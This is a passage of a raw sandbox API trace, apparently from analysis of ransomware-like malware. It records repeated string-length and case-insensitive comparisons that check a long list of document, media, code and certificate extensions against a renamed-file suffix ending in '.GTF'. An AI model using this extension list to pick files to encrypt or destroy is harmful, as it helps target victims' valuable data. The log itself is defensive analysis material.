	[0152.810] lstrcmpiW (lpString1=".accdc", lpString2="m].GTF") returned -1
	[0152.810] lstrlenW (lpString=".accde") returned 6
	[0152.810] lstrcmpiW (lpString1=".accde", lpString2="m].GTF") returned -1
	[0152.810] lstrlenW (lpString=".accdt") returned 6
	[0152.810] lstrcmpiW (lpString1=".accdt", lpString2="m].GTF") returned -1
	[0152.810] lstrlenW (lpString=".accdw") returned 6
	[0152.810] lstrcmpiW (lpString1=".accdw", lpString2="m].GTF") returned -1
	[0152.811] lstrlenW (lpString=".adb") returned 4
	[0152.811] lstrcmpiW (lpString1=".adb", lpString2=".GTF") returned -1
	[0152.811] lstrlenW (lpString=".adp") returned 4
	[0152.811] lstrcmpiW (lpString1=".adp", lpString2=".GTF") returned -1
	[0152.811] lstrlenW (lpString=".ai") returned 3
	[0152.811] lstrcmpiW (lpString1=".ai", lpString2="GTF") returned -1
	[0152.811] lstrlenW (lpString=".ai3") returned 4
	[0152.811] lstrcmpiW (lpString1=".ai3", lpString2=".GTF") returned -1
	[0152.811] lstrlenW (lpString=".ai4") returned 4
	[0152.811] lstrcmpiW (lpString1=".ai4", lpString2=".GTF") returned -1
	[0152.811] lstrlenW (lpString=".ai5") returned 4
	[0152.811] lstrcmpiW (lpString1=".ai5", lpString2=".GTF") returned -1
	[0152.811] lstrlenW (lpString=".ai6") returned 4
	[0152.811] lstrcmpiW (lpString1=".ai6", lpString2=".GTF") returned -1
	[0152.811] lstrlenW (lpString=".ai7") returned 4
	[0152.811] lstrcmpiW (lpString1=".ai7", lpString2=".GTF") returned -1
	[0152.811] lstrlenW (lpString=".ai8") returned 4
	[0152.811] lstrcmpiW (lpString1=".ai8", lpString2=".GTF") returned -1
	[0152.811] lstrlenW (lpString=".anim") returned 5
	[0152.811] lstrcmpiW (lpString1=".anim", lpString2="].GTF") returned -1
	[0152.811] lstrlenW (lpString=".arw") returned 4
	[0152.811] lstrcmpiW (lpString1=".arw", lpString2=".GTF") returned -1
	[0152.811] lstrlenW (lpString=".as") returned 3
	[0152.811] lstrcmpiW (lpString1=".as", lpString2="GTF") returned -1
	[0152.811] lstrlenW (lpString=".asa") returned 4
	[0152.811] lstrcmpiW (lpString1=".asa", lpString2=".GTF") returned -1
	[0152.811] lstrlenW (lpString=".asc") returned 4
	[0152.811] lstrcmpiW (lpString1=".asc", lpString2=".GTF") returned -1
	[0152.811] lstrlenW (lpString=".ascx") returned 5
	[0152.811] lstrcmpiW (lpString1=".ascx", lpString2="].GTF") returned -1
	[0152.811] lstrlenW (lpString=".asm") returned 4
	[0152.811] lstrcmpiW (lpString1=".asm", lpString2=".GTF") returned -1
	[0152.811] lstrlenW (lpString=".asmx") returned 5
	[0152.811] lstrcmpiW (lpString1=".asmx", lpString2="].GTF") returned -1
	[0152.811] lstrlenW (lpString=".asp") returned 4
	[0152.811] lstrcmpiW (lpString1=".asp", lpString2=".GTF") returned -1
	[0152.811] lstrlenW (lpString=".aspx") returned 5
	[0152.811] lstrcmpiW (lpString1=".aspx", lpString2="].GTF") returned -1
	[0152.812] lstrlenW (lpString=".asr") returned 4
	[0152.812] lstrcmpiW (lpString1=".asr", lpString2=".GTF") returned -1
	[0152.812] lstrlenW (lpString=".asx") returned 4
	[0152.812] lstrcmpiW (lpString1=".asx", lpString2=".GTF") returned -1
	[0152.812] lstrlenW (lpString=".avi") returned 4
	[0152.812] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0152.812] lstrlenW (lpString=".avs") returned 4
	[0152.812] lstrcmpiW (lpString1=".avs", lpString2=".GTF") returned -1
	[0152.812] lstrlenW (lpString=".backup") returned 7
	[0152.812] lstrcmpiW (lpString1=".backup", lpString2="om].GTF") returned -1
	[0152.812] lstrlenW (lpString=".bak") returned 4
	[0152.812] lstrcmpiW (lpString1=".bak", lpString2=".GTF") returned -1
	[0152.812] lstrlenW (lpString=".bay") returned 4
	[0152.812] lstrcmpiW (lpString1=".bay", lpString2=".GTF") returned -1
	[0152.812] lstrlenW (lpString=".bd") returned 3
	[0152.812] lstrcmpiW (lpString1=".bd", lpString2="GTF") returned -1
	[0152.812] lstrlenW (lpString=".bin") returned 4
	[0152.812] lstrcmpiW (lpString1=".bin", lpString2=".GTF") returned -1
	[0152.812] lstrlenW (lpString=".bmp") returned 4
	[0152.812] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0152.812] lstrlenW (lpString=".bz2") returned 4
	[0152.812] lstrcmpiW (lpString1=".bz2", lpString2=".GTF") returned -1
	[0152.812] lstrlenW (lpString=".c") returned 2
	[0152.812] lstrcmpiW (lpString1=".c", lpString2="TF") returned -1
	[0152.812] lstrlenW (lpString=".cdr") returned 4
	[0152.812] lstrcmpiW (lpString1=".cdr", lpString2=".GTF") returned -1
	[0152.812] lstrlenW (lpString=".cer") returned 4
	[0152.812] lstrcmpiW (lpString1=".cer", lpString2=".GTF") returned -1
	[0152.812] lstrlenW (lpString=".cf") returned 3
	[0152.812] lstrcmpiW (lpString1=".cf", lpString2="GTF") returned -1
	[0152.812] lstrlenW (lpString=".cfc") returned 4
	[0152.812] lstrcmpiW (lpString1=".cfc", lpString2=".GTF") returned -1
	[0152.812] lstrlenW (lpString=".cfm") returned 4
	[0152.812] lstrcmpiW (lpString1=".cfm", lpString2=".GTF") returned -1
	[0152.812] lstrlenW (lpString=".cfml") returned 5
	[0152.812] lstrcmpiW (lpString1=".cfml", lpString2="].GTF") returned -1
	[0152.812] lstrlenW (lpString=".cfu") returned 4
	[0152.812] lstrcmpiW (lpString1=".cfu", lpString2=".GTF") returned -1
	[0152.812] lstrlenW (lpString=".chm") returned 4
	[0152.813] lstrcmpiW (lpString1=".chm", lpString2=".GTF") returned -1
	[0152.813] lstrlenW (lpString=".cin") returned 4
	[0152.813] lstrcmpiW (lpString1=".cin", lpString2=".GTF") returned -1
	[0152.813] lstrlenW (lpString=".class") returned 6
	[0152.813] lstrcmpiW (lpString1=".class", lpString2="m].GTF") returned -1
	[0152.813] lstrlenW (lpString=".clx") returned 4
	[0152.813] lstrcmpiW (lpString1=".clx", lpString2=".GTF") returned -1
	[0152.813] lstrlenW (lpString=".config") returned 7
	[0152.813] lstrcmpiW (lpString1=".config", lpString2="om].GTF") returned -1
	[0152.813] lstrlenW (lpString=".cpp") returned 4
	[0152.813] lstrcmpiW (lpString1=".cpp", lpString2=".GTF") returned -1
	[0152.813] lstrlenW (lpString=".cr2") returned 4
	[0152.813] lstrcmpiW (lpString1=".cr2", lpString2=".GTF") returned -1
	[0152.813] lstrlenW (lpString=".crt") returned 4
	[0152.813] lstrcmpiW (lpString1=".crt", lpString2=".GTF") returned -1
	[0152.813] lstrlenW (lpString=".crw") returned 4
	[0152.813] lstrcmpiW (lpString1=".crw", lpString2=".GTF") returned -1
	[0152.813] lstrlenW (lpString=".cs") returned 3
	[0152.813] lstrcmpiW (lpString1=".cs", lpString2="GTF") returned -1
	[0152.813] lstrlenW (lpString=".css") returned 4
	[0152.813] lstrcmpiW (lpString1=".css", lpString2=".GTF") returned -1
	[0152.813] lstrlenW (lpString=".csv") returned 4
	[0152.813] lstrcmpiW (lpString1=".csv", lpString2=".GTF") returned -1
	[0152.813] lstrlenW (lpString=".cub") returned 4
	[0152.813] lstrcmpiW (lpString1=".cub", lpString2=".GTF") returned -1
	[0152.813] lstrlenW (lpString=".dae") returned 4
	[0152.813] lstrcmpiW (lpString1=".dae", lpString2=".GTF") returned -1
	[0152.813] lstrlenW (lpString=".dat") returned 4
	[0152.813] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0152.813] lstrlenW (lpString=".db") returned 3
	[0152.813] lstrcmpiW (lpString1=".db", lpString2="GTF") returned -1
	[0152.813] lstrlenW (lpString=".dbf") returned 4
	[0152.813] lstrcmpiW (lpString1=".dbf", lpString2=".GTF") returned -1
	[0152.813] lstrlenW (lpString=".dbx") returned 4
	[0152.813] lstrcmpiW (lpString1=".dbx", lpString2=".GTF") returned -1
	[0152.813] lstrlenW (lpString=".dc3") returned 4
	[0152.813] lstrcmpiW (lpString1=".dc3", lpString2=".GTF") returned -1
	[0152.813] lstrlenW (lpString=".dcm") returned 4
	[0152.813] lstrcmpiW (lpString1=".dcm", lpString2=".GTF") returned -1
	[0152.814] lstrlenW (lpString=".dcr") returned 4
	[0152.814] lstrcmpiW (lpString1=".dcr", lpString2=".GTF") returned -1
	[0152.814] lstrlenW (lpString=".der") returned 4
	[0152.814] lstrcmpiW (lpString1=".der", lpString2=".GTF") returned -1
	[0152.814] lstrlenW (lpString=".dib") returned 4
	[0152.814] lstrcmpiW (lpString1=".dib", lpString2=".GTF") returned -1
	[0152.814] lstrlenW (lpString=".dic") returned 4
	[0152.814] lstrcmpiW (lpString1=".dic", lpString2=".GTF") returned -1
	[0152.814] lstrlenW (lpString=".dif") returned 4
	[0152.814] lstrcmpiW (lpString1=".dif", lpString2=".GTF") returned -1
	[0152.814] lstrlenW (lpString=".divx") returned 5
	[0152.814] lstrcmpiW (lpString1=".divx", lpString2="].GTF") returned -1
	[0152.814] lstrlenW (lpString=".djvu") returned 5
	[0152.814] lstrcmpiW (lpString1=".djvu", lpString2="].GTF") returned -1
	[0152.814] lstrlenW (lpString=".dng") returned 4
	[0152.814] lstrcmpiW (lpString1=".dng", lpString2=".GTF") returned -1
	[0152.814] lstrlenW (lpString=".doc") returned 4
	[0152.814] lstrcmpiW (lpString1=".doc", lpString2=".GTF") returned -1
	[0152.814] lstrlenW (lpString=".docm") returned 5
	[0152.814] lstrcmpiW (lpString1=".docm", lpString2="].GTF") returned -1
	[0152.814] lstrlenW (lpString=".docx") returned 5
	[0152.814] lstrcmpiW (lpString1=".docx", lpString2="].GTF") returned -1
	[0152.814] lstrlenW (lpString=".dot") returned 4
	[0152.814] lstrcmpiW (lpString1=".dot", lpString2=".GTF") returned -1
	[0152.814] lstrlenW (lpString=".dotm") returned 5
	[0152.814] lstrcmpiW (lpString1=".dotm", lpString2="].GTF") returned -1
	[0152.814] lstrlenW (lpString=".dotx") returned 5
	[0152.814] lstrcmpiW (lpString1=".dotx", lpString2="].GTF") returned -1
	[0152.814] lstrlenW (lpString=".dpx") returned 4
	[0152.814] lstrcmpiW (lpString1=".dpx", lpString2=".GTF") returned -1
	[0152.814] lstrlenW (lpString=".dqy") returned 4
	[0152.814] lstrcmpiW (lpString1=".dqy", lpString2=".GTF") returned -1
	[0152.814] lstrlenW (lpString=".dsn") returned 4
	[0152.814] lstrcmpiW (lpString1=".dsn", lpString2=".GTF") returned -1
	[0152.814] lstrlenW (lpString=".dt") returned 3
	[0152.814] lstrcmpiW (lpString1=".dt", lpString2="GTF") returned -1
	[0152.814] lstrlenW (lpString=".dtd") returned 4
	[0152.814] lstrcmpiW (lpString1=".dtd", lpString2=".GTF") returned -1
	[0152.814] lstrlenW (lpString=".dwg") returned 4
	[0152.815] lstrcmpiW (lpString1=".dwg", lpString2=".GTF") returned -1
	[0152.815] lstrlenW (lpString=".dwt") returned 4
	[0152.815] lstrcmpiW (lpString1=".dwt", lpString2=".GTF") returned -1
	[0152.815] lstrlenW (lpString=".dx") returned 3
	[0152.815] lstrcmpiW (lpString1=".dx", lpString2="GTF") returned -1
	[0152.815] lstrlenW (lpString=".dxf") returned 4
	[0152.815] lstrcmpiW (lpString1=".dxf", lpString2=".GTF") returned -1
	[0152.815] lstrlenW (lpString=".edml") returned 5
	[0152.815] lstrcmpiW (lpString1=".edml", lpString2="].GTF") returned -1
	[0152.815] lstrlenW (lpString=".efd") returned 4
	[0152.815] lstrcmpiW (lpString1=".efd", lpString2=".GTF") returned -1
	[0152.815] lstrlenW (lpString=".elf") returned 4
	[0152.815] lstrcmpiW (lpString1=".elf", lpString2=".GTF") returned -1
	[0152.815] lstrlenW (lpString=".emf") returned 4
	[0152.815] lstrcmpiW (lpString1=".emf", lpString2=".GTF") returned -1
	[0152.815] lstrlenW (lpString=".emz") returned 4
	[0152.815] lstrcmpiW (lpString1=".emz", lpString2=".GTF") returned -1
	[0152.815] lstrlenW (lpString=".epf") returned 4
	[0152.815] lstrcmpiW (lpString1=".epf", lpString2=".GTF") returned -1
	[0152.815] lstrlenW (lpString=".eps") returned 4
	[0152.815] lstrcmpiW (lpString1=".eps", lpString2=".GTF") returned -1
	[0152.815] lstrlenW (lpString=".epsf") returned 5
	[0152.815] lstrcmpiW (lpString1=".epsf", lpString2="].GTF") returned -1
	[0152.815] lstrlenW (lpString=".epsp") returned 5
	[0152.815] lstrcmpiW (lpString1=".epsp", lpString2="].GTF") returned -1
	[0152.815] lstrlenW (lpString=".erf") returned 4
	[0152.815] lstrcmpiW (lpString1=".erf", lpString2=".GTF") returned -1
	[0152.815] lstrlenW (lpString=".exr") returned 4
	[0152.815] lstrcmpiW (lpString1=".exr", lpString2=".GTF") returned -1
	[0152.815] lstrlenW (lpString=".f4v") returned 4
	[0152.815] lstrcmpiW (lpString1=".f4v", lpString2=".GTF") returned -1
	[0152.815] lstrlenW (lpString=".fido") returned 5
	[0152.815] lstrcmpiW (lpString1=".fido", lpString2="].GTF") returned -1
	[0152.815] lstrlenW (lpString=".flm") returned 4
	[0152.815] lstrcmpiW (lpString1=".flm", lpString2=".GTF") returned -1
	[0152.815] lstrlenW (lpString=".flv") returned 4
	[0152.815] lstrcmpiW (lpString1=".flv", lpString2=".GTF") returned -1
	[0152.815] lstrlenW (lpString=".frm") returned 4
	[0152.816] lstrcmpiW (lpString1=".frm", lpString2=".GTF") returned -1
	[0152.816] lstrlenW (lpString=".fxg") returned 4
	[0152.816] lstrcmpiW (lpString1=".fxg", lpString2=".GTF") returned -1
	[0152.816] lstrlenW (lpString=".geo") returned 4
	[0152.816] lstrcmpiW (lpString1=".geo", lpString2=".GTF") returned -1
	[0152.816] lstrlenW (lpString=".gif") returned 4
	[0152.816] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0152.816] lstrlenW (lpString=".grs") returned 4
	[0152.816] lstrcmpiW (lpString1=".grs", lpString2=".GTF") returned -1
	[0152.816] lstrlenW (lpString=".gz") returned 3
	[0152.816] lstrcmpiW (lpString1=".gz", lpString2="GTF") returned -1
	[0152.816] lstrlenW (lpString=".h") returned 2
	[0152.816] lstrcmpiW (lpString1=".h", lpString2="TF") returned -1
	[0152.816] lstrlenW (lpString=".hdr") returned 4
	[0152.816] lstrcmpiW (lpString1=".hdr", lpString2=".GTF") returned 1
	[0152.816] lstrlenW (lpString=".hpp") returned 4
	[0152.816] lstrcmpiW (lpString1=".hpp", lpString2=".GTF") returned 1
	[0152.816] lstrlenW (lpString=".hta") returned 4
	[0152.816] lstrcmpiW (lpString1=".hta", lpString2=".GTF") returned 1
	[0152.816] lstrlenW (lpString=".htc") returned 4
	[0152.816] lstrcmpiW (lpString1=".htc", lpString2=".GTF") returned 1
	[0152.816] lstrlenW (lpString=".htm") returned 4
	[0152.816] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0152.816] lstrlenW (lpString=".html") returned 5
	[0152.816] lstrcmpiW (lpString1=".html", lpString2="].GTF") returned -1
	[0152.816] lstrlenW (lpString=".icb") returned 4
	[0152.816] lstrcmpiW (lpString1=".icb", lpString2=".GTF") returned 1
	[0152.816] lstrlenW (lpString=".ics") returned 4
	[0152.816] lstrcmpiW (lpString1=".ics", lpString2=".GTF") returned 1
	[0152.816] lstrlenW (lpString=".iff") returned 4
	[0152.816] lstrcmpiW (lpString1=".iff", lpString2=".GTF") returned 1
	[0152.816] lstrlenW (lpString=".inc") returned 4
	[0152.817] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0152.817] lstrlenW (lpString=".indd") returned 5
	[0152.817] lstrcmpiW (lpString1=".indd", lpString2="].GTF") returned -1
	[0152.817] lstrlenW (lpString=".ini") returned 4
	[0152.817] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0152.817] lstrlenW (lpString=".iqy") returned 4
	[0152.817] lstrcmpiW (lpString1=".iqy", lpString2=".GTF") returned 1
	[0152.817] lstrlenW (lpString=".j2c") returned 4
	[0152.817] lstrcmpiW (lpString1=".j2c", lpString2=".GTF") returned 1
	[0152.817] lstrlenW (lpString=".j2k") returned 4
	[0152.817] lstrcmpiW (lpString1=".j2k", lpString2=".GTF") returned 1
	[0152.817] lstrlenW (lpString=".java") returned 5
	[0152.817] lstrcmpiW (lpString1=".java", lpString2="].GTF") returned -1
	[0152.817] lstrlenW (lpString=".jp2") returned 4
	[0152.817] lstrcmpiW (lpString1=".jp2", lpString2=".GTF") returned 1
	[0152.817] lstrlenW (lpString=".jpc") returned 4
	[0152.817] lstrcmpiW (lpString1=".jpc", lpString2=".GTF") returned 1
	[0152.817] lstrlenW (lpString=".jpe") returned 4
	[0152.817] lstrcmpiW (lpString1=".jpe", lpString2=".GTF") returned 1
	[0152.817] lstrlenW (lpString=".jpeg") returned 5
	[0152.817] lstrcmpiW (lpString1=".jpeg", lpString2="].GTF") returned -1
	[0152.817] lstrlenW (lpString=".jpf") returned 4
	[0152.817] lstrcmpiW (lpString1=".jpf", lpString2=".GTF") returned 1
	[0152.817] lstrlenW (lpString=".jpg") returned 4
	[0152.817] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0152.817] lstrlenW (lpString=".jpx") returned 4
	[0152.817] lstrcmpiW (lpString1=".jpx", lpString2=".GTF") returned 1
	[0152.817] lstrlenW (lpString=".js") returned 3
	[0152.817] lstrcmpiW (lpString1=".js", lpString2="GTF") returned -1
	[0152.817] lstrlenW (lpString=".jsf") returned 4
	[0152.817] lstrcmpiW (lpString1=".jsf", lpString2=".GTF") returned 1
	[0152.817] lstrlenW (lpString=".json") returned 5
	[0152.817] lstrcmpiW (lpString1=".json", lpString2="].GTF") returned -1
	[0152.817] lstrlenW (lpString=".jsp") returned 4
	[0152.817] lstrcmpiW (lpString1=".jsp", lpString2=".GTF") returned 1
	[0152.817] lstrlenW (lpString=".kdc") returned 4
	[0152.817] lstrcmpiW (lpString1=".kdc", lpString2=".GTF") returned 1
	[0152.817] lstrlenW (lpString=".kmz") returned 4
	[0152.817] lstrcmpiW (lpString1=".kmz", lpString2=".GTF") returned 1
	[0152.818] lstrlenW (lpString=".kwm") returned 4
	[0152.818] lstrcmpiW (lpString1=".kwm", lpString2=".GTF") returned 1
	[0152.818] lstrlenW (lpString=".lasso") returned 6
	[0152.818] lstrcmpiW (lpString1=".lasso", lpString2="m].GTF") returned -1
	[0152.818] lstrlenW (lpString=".lbi") returned 4
	[0152.818] lstrcmpiW (lpString1=".lbi", lpString2=".GTF") returned 1
	[0152.818] lstrlenW (lpString=".lgf") returned 4
	[0152.818] lstrcmpiW (lpString1=".lgf", lpString2=".GTF") returned 1
	[0152.818] lstrlenW (lpString=".lgp") returned 4
	[0152.818] lstrcmpiW (lpString1=".lgp", lpString2=".GTF") returned 1
	[0152.818] lstrlenW (lpString=".log") returned 4
	[0152.818] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0152.818] lstrlenW (lpString=".m1v") returned 4
	[0152.818] lstrcmpiW (lpString1=".m1v", lpString2=".GTF") returned 1
	[0152.818] lstrlenW (lpString=".m4a") returned 4
	[0152.818] lstrcmpiW (lpString1=".m4a", lpString2=".GTF") returned 1
	[0152.818] lstrlenW (lpString=".m4v") returned 4
	[0152.818] lstrcmpiW (lpString1=".m4v", lpString2=".GTF") returned 1
	[0152.818] lstrlenW (lpString=".max") returned 4
	[0152.818] lstrcmpiW (lpString1=".max", lpString2=".GTF") returned 1
	[0152.818] lstrlenW (lpString=".md") returned 3
	[0152.818] lstrcmpiW (lpString1=".md", lpString2="GTF") returned -1
	[0152.818] lstrlenW (lpString=".mda") returned 4
	[0152.818] lstrcmpiW (lpString1=".mda", lpString2=".GTF") returned 1
	[0152.818] lstrlenW (lpString=".mdb") returned 4
	[0152.818] lstrcmpiW (lpString1=".mdb", lpString2=".GTF") returned 1
	[0152.818] lstrlenW (lpString=".mde") returned 4
	[0152.818] lstrcmpiW (lpString1=".mde", lpString2=".GTF") returned 1
	[0152.818] lstrlenW (lpString=".mdf") returned 4
	[0152.818] lstrcmpiW (lpString1=".mdf", lpString2=".GTF") returned 1
	[0152.818] lstrlenW (lpString=".mdw") returned 4
	[0152.818] lstrcmpiW (lpString1=".mdw", lpString2=".GTF") returned 1
	[0152.818] lstrlenW (lpString=".mef") returned 4
	[0152.818] lstrcmpiW (lpString1=".mef", lpString2=".GTF") returned 1
	[0152.818] lstrlenW (lpString=".mft") returned 4
	[0152.818] lstrcmpiW (lpString1=".mft", lpString2=".GTF") returned 1
	[0152.818] lstrlenW (lpString=".mfw") returned 4
	[0152.818] lstrcmpiW (lpString1=".mfw", lpString2=".GTF") returned 1
	[0152.819] lstrlenW (lpString=".mht") returned 4
	[0152.819] lstrcmpiW (lpString1=".mht", lpString2=".GTF") returned 1
	[0152.819] lstrlenW (lpString=".mhtml") returned 6
	[0152.819] lstrcmpiW (lpString1=".mhtml", lpString2="m].GTF") returned -1
	[0152.819] lstrlenW (lpString=".mka") returned 4
	[0152.819] lstrcmpiW (lpString1=".mka", lpString2=".GTF") returned 1
	[0152.819] lstrlenW (lpString=".mkidx") returned 6
	[0152.819] lstrcmpiW (lpString1=".mkidx", lpString2="m].GTF") returned -1
	[0152.819] lstrlenW (lpString=".mkv") returned 4
	[0152.819] lstrcmpiW (lpString1=".mkv", lpString2=".GTF") returned 1
	[0152.819] lstrlenW (lpString=".mos") returned 4
	[0152.819] lstrcmpiW (lpString1=".mos", lpString2=".GTF") returned 1
	[0152.819] lstrlenW (lpString=".mov") returned 4
	[0152.819] lstrcmpiW (lpString1=".mov", lpString2=".GTF") returned 1
	[0152.819] lstrlenW (lpString=".mp3") returned 4
	[0152.819] lstrcmpiW (lpString1=".mp3", lpString2=".GTF") returned 1
	[0152.819] lstrlenW (lpString=".mp4") returned 4
	[0152.819] lstrcmpiW (lpString1=".mp4", lpString2=".GTF") returned 1
	[0152.819] lstrlenW (lpString=".mpeg") returned 5
	[0152.819] lstrcmpiW (lpString1=".mpeg", lpString2="].GTF") returned -1
	[0152.819] lstrlenW (lpString=".mpg") returned 4
	[0152.819] lstrcmpiW (lpString1=".mpg", lpString2=".GTF") returned 1
	[0152.819] lstrlenW (lpString=".mpv") returned 4
	[0152.819] lstrcmpiW (lpString1=".mpv", lpString2=".GTF") returned 1
	[0152.819] lstrlenW (lpString=".mrw") returned 4
	[0152.819] lstrcmpiW (lpString1=".mrw", lpString2=".GTF") returned 1
	[0152.819] lstrlenW (lpString=".msg") returned 4
	[0152.819] lstrcmpiW (lpString1=".msg", lpString2=".GTF") returned 1
	[0152.819] lstrlenW (lpString=".mxl") returned 4
	[0152.819] lstrcmpiW (lpString1=".mxl", lpString2=".GTF") returned 1
	[0152.819] lstrlenW (lpString=".myd") returned 4
	[0152.819] lstrcmpiW (lpString1=".myd", lpString2=".GTF") returned 1
	[0152.819] lstrlenW (lpString=".myi") returned 4
	[0152.819] lstrcmpiW (lpString1=".myi", lpString2=".GTF") returned 1
	[0152.819] lstrlenW (lpString=".nef") returned 4
	[0152.819] lstrcmpiW (lpString1=".nef", lpString2=".GTF") returned 1
	[0152.819] lstrlenW (lpString=".nrw") returned 4
	[0152.820] lstrcmpiW (lpString1=".nrw", lpString2=".GTF") returned 1
	[0152.820] lstrlenW (lpString=".obj") returned 4
	[0152.820] lstrcmpiW (lpString1=".obj", lpString2=".GTF") returned 1
	[0152.820] lstrlenW (lpString=".odb") returned 4
	[0152.820] lstrcmpiW (lpString1=".odb", lpString2=".GTF") returned 1
	[0152.820] lstrlenW (lpString=".odc") returned 4
	[0152.820] lstrcmpiW (lpString1=".odc", lpString2=".GTF") returned 1
	[0152.820] lstrlenW (lpString=".odm") returned 4
	[0152.820] lstrcmpiW (lpString1=".odm", lpString2=".GTF") returned 1
	[0152.820] lstrlenW (lpString=".odp") returned 4
	[0152.820] lstrcmpiW (lpString1=".odp", lpString2=".GTF") returned 1
	[0152.820] lstrlenW (lpString=".ods") returned 4
	[0152.820] lstrcmpiW (lpString1=".ods", lpString2=".GTF") returned 1
	[0152.820] lstrlenW (lpString=".oft") returned 4
	[0152.820] lstrcmpiW (lpString1=".oft", lpString2=".GTF") returned 1
	[0152.820] lstrlenW (lpString=".one") returned 4
	[0152.820] lstrcmpiW (lpString1=".one", lpString2=".GTF") returned 1
	[0152.820] lstrlenW (lpString=".onepkg") returned 7
	[0152.820] lstrcmpiW (lpString1=".onepkg", lpString2="om].GTF") returned -1
	[0152.820] lstrlenW (lpString=".onetoc2") returned 8
	[0152.820] lstrcmpiW (lpString1=".onetoc2", lpString2="com].GTF") returned -1
	[0152.820] lstrlenW (lpString=".opt") returned 4
	[0152.820] lstrcmpiW (lpString1=".opt", lpString2=".GTF") returned 1
	[0152.820] lstrlenW (lpString=".oqy") returned 4
	[0152.820] lstrcmpiW (lpString1=".oqy", lpString2=".GTF") returned 1
	[0152.820] lstrlenW (lpString=".orf") returned 4
	[0152.820] lstrcmpiW (lpString1=".orf", lpString2=".GTF") returned 1
	[0152.820] lstrlenW (lpString=".p12") returned 4
	[0152.820] lstrcmpiW (lpString1=".p12", lpString2=".GTF") returned 1
	[0152.820] lstrlenW (lpString=".p7b") returned 4
	[0152.820] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0152.820] lstrlenW (lpString=".p7c") returned 4
	[0152.820] lstrcmpiW (lpString1=".p7c", lpString2=".GTF") returned 1
	[0152.820] lstrlenW (lpString=".pam") returned 4
	[0152.820] lstrcmpiW (lpString1=".pam", lpString2=".GTF") returned 1
	[0152.820] lstrlenW (lpString=".pbm") returned 4
	[0152.820] lstrcmpiW (lpString1=".pbm", lpString2=".GTF") returned 1
	[0152.820] lstrlenW (lpString=".pct") returned 4
	[0152.820] lstrcmpiW (lpString1=".pct", lpString2=".GTF") returned 1
	[0152.821] lstrlenW (lpString=".pcx") returned 4
	[0152.821] lstrcmpiW (lpString1=".pcx", lpString2=".GTF") returned 1
	[0152.821] lstrlenW (lpString=".pdd") returned 4
	[0152.821] lstrcmpiW (lpString1=".pdd", lpString2=".GTF") returned 1
	[0152.821] lstrlenW (lpString=".pdf") returned 4
	[0152.821] lstrcmpiW (lpString1=".pdf", lpString2=".GTF") returned 1
	[0152.821] lstrlenW (lpString=".pdp") returned 4
	[0152.821] lstrcmpiW (lpString1=".pdp", lpString2=".GTF") returned 1
	[0152.821] lstrlenW (lpString=".pef") returned 4
	[0152.821] lstrcmpiW (lpString1=".pef", lpString2=".GTF") returned 1
	[0152.821] lstrlenW (lpString=".pem") returned 4
	[0152.821] lstrcmpiW (lpString1=".pem", lpString2=".GTF") returned 1
	[0152.821] lstrlenW (lpString=".pff") returned 4
	[0152.821] lstrcmpiW (lpString1=".pff", lpString2=".GTF") returned 1
	[0152.821] lstrlenW (lpString=".pfm") returned 4
	[0152.821] lstrcmpiW (lpString1=".pfm", lpString2=".GTF") returned 1
	[0152.821] lstrlenW (lpString=".pfx") returned 4
	[0152.821] lstrcmpiW (lpString1=".pfx", lpString2=".GTF") returned 1
	[0152.821] lstrlenW (lpString=".pgm") returned 4
	[0152.821] lstrcmpiW (lpString1=".pgm", lpString2=".GTF") returned 1
	[0152.821] lstrlenW (lpString=".php") returned 4
	[0152.821] lstrcmpiW (lpString1=".php", lpString2=".GTF") returned 1
	[0152.821] lstrlenW (lpString=".php3") returned 5
	[0152.821] lstrcmpiW (lpString1=".php3", lpString2="].GTF") returned -1
	[0152.821] lstrlenW (lpString=".php4") returned 5
	[0152.821] lstrcmpiW (lpString1=".php4", lpString2="].GTF") returned -1
	[0152.821] lstrlenW (lpString=".php5") returned 5
	[0152.821] lstrcmpiW (lpString1=".php5", lpString2="].GTF") returned -1
	[0152.821] lstrlenW (lpString=".phtml") returned 6
	[0152.821] lstrcmpiW (lpString1=".phtml", lpString2="m].GTF") returned -1
	[0152.821] lstrlenW (lpString=".pict") returned 5
	[0152.821] lstrcmpiW (lpString1=".pict", lpString2="].GTF") returned -1
	[0152.821] lstrlenW (lpString=".pl") returned 3
	[0152.821] lstrcmpiW (lpString1=".pl", lpString2="GTF") returned -1
	[0152.821] lstrlenW (lpString=".pls") returned 4
	[0152.821] lstrcmpiW (lpString1=".pls", lpString2=".GTF") returned 1
	[0152.821] lstrlenW (lpString=".pm") returned 3
	[0152.821] lstrcmpiW (lpString1=".pm", lpString2="GTF") returned -1
	[0152.821] lstrlenW (lpString=".png") returned 4
	[0152.822] lstrcmpiW (lpString1=".png", lpString2=".GTF") returned 1
	[0152.822] lstrlenW (lpString=".pnm") returned 4
	[0152.822] lstrcmpiW (lpString1=".pnm", lpString2=".GTF") returned 1
	[0152.822] lstrlenW (lpString=".pot") returned 4
	[0152.822] lstrcmpiW (lpString1=".pot", lpString2=".GTF") returned 1
	[0152.822] lstrlenW (lpString=".potm") returned 5
	[0152.822] lstrcmpiW (lpString1=".potm", lpString2="].GTF") returned -1
	[0152.822] lstrlenW (lpString=".potx") returned 5
	[0152.822] lstrcmpiW (lpString1=".potx", lpString2="].GTF") returned -1
	[0152.822] lstrlenW (lpString=".ppa") returned 4
	[0152.822] lstrcmpiW (lpString1=".ppa", lpString2=".GTF") returned 1
	[0152.822] lstrlenW (lpString=".ppam") returned 5
	[0152.822] lstrcmpiW (lpString1=".ppam", lpString2="].GTF") returned -1
	[0152.822] lstrlenW (lpString=".ppm") returned 4
	[0152.822] lstrcmpiW (lpString1=".ppm", lpString2=".GTF") returned 1
	[0152.822] lstrlenW (lpString=".pps") returned 4
	[0152.822] lstrcmpiW (lpString1=".pps", lpString2=".GTF") returned 1
	[0152.822] lstrlenW (lpString=".ppsm") returned 5
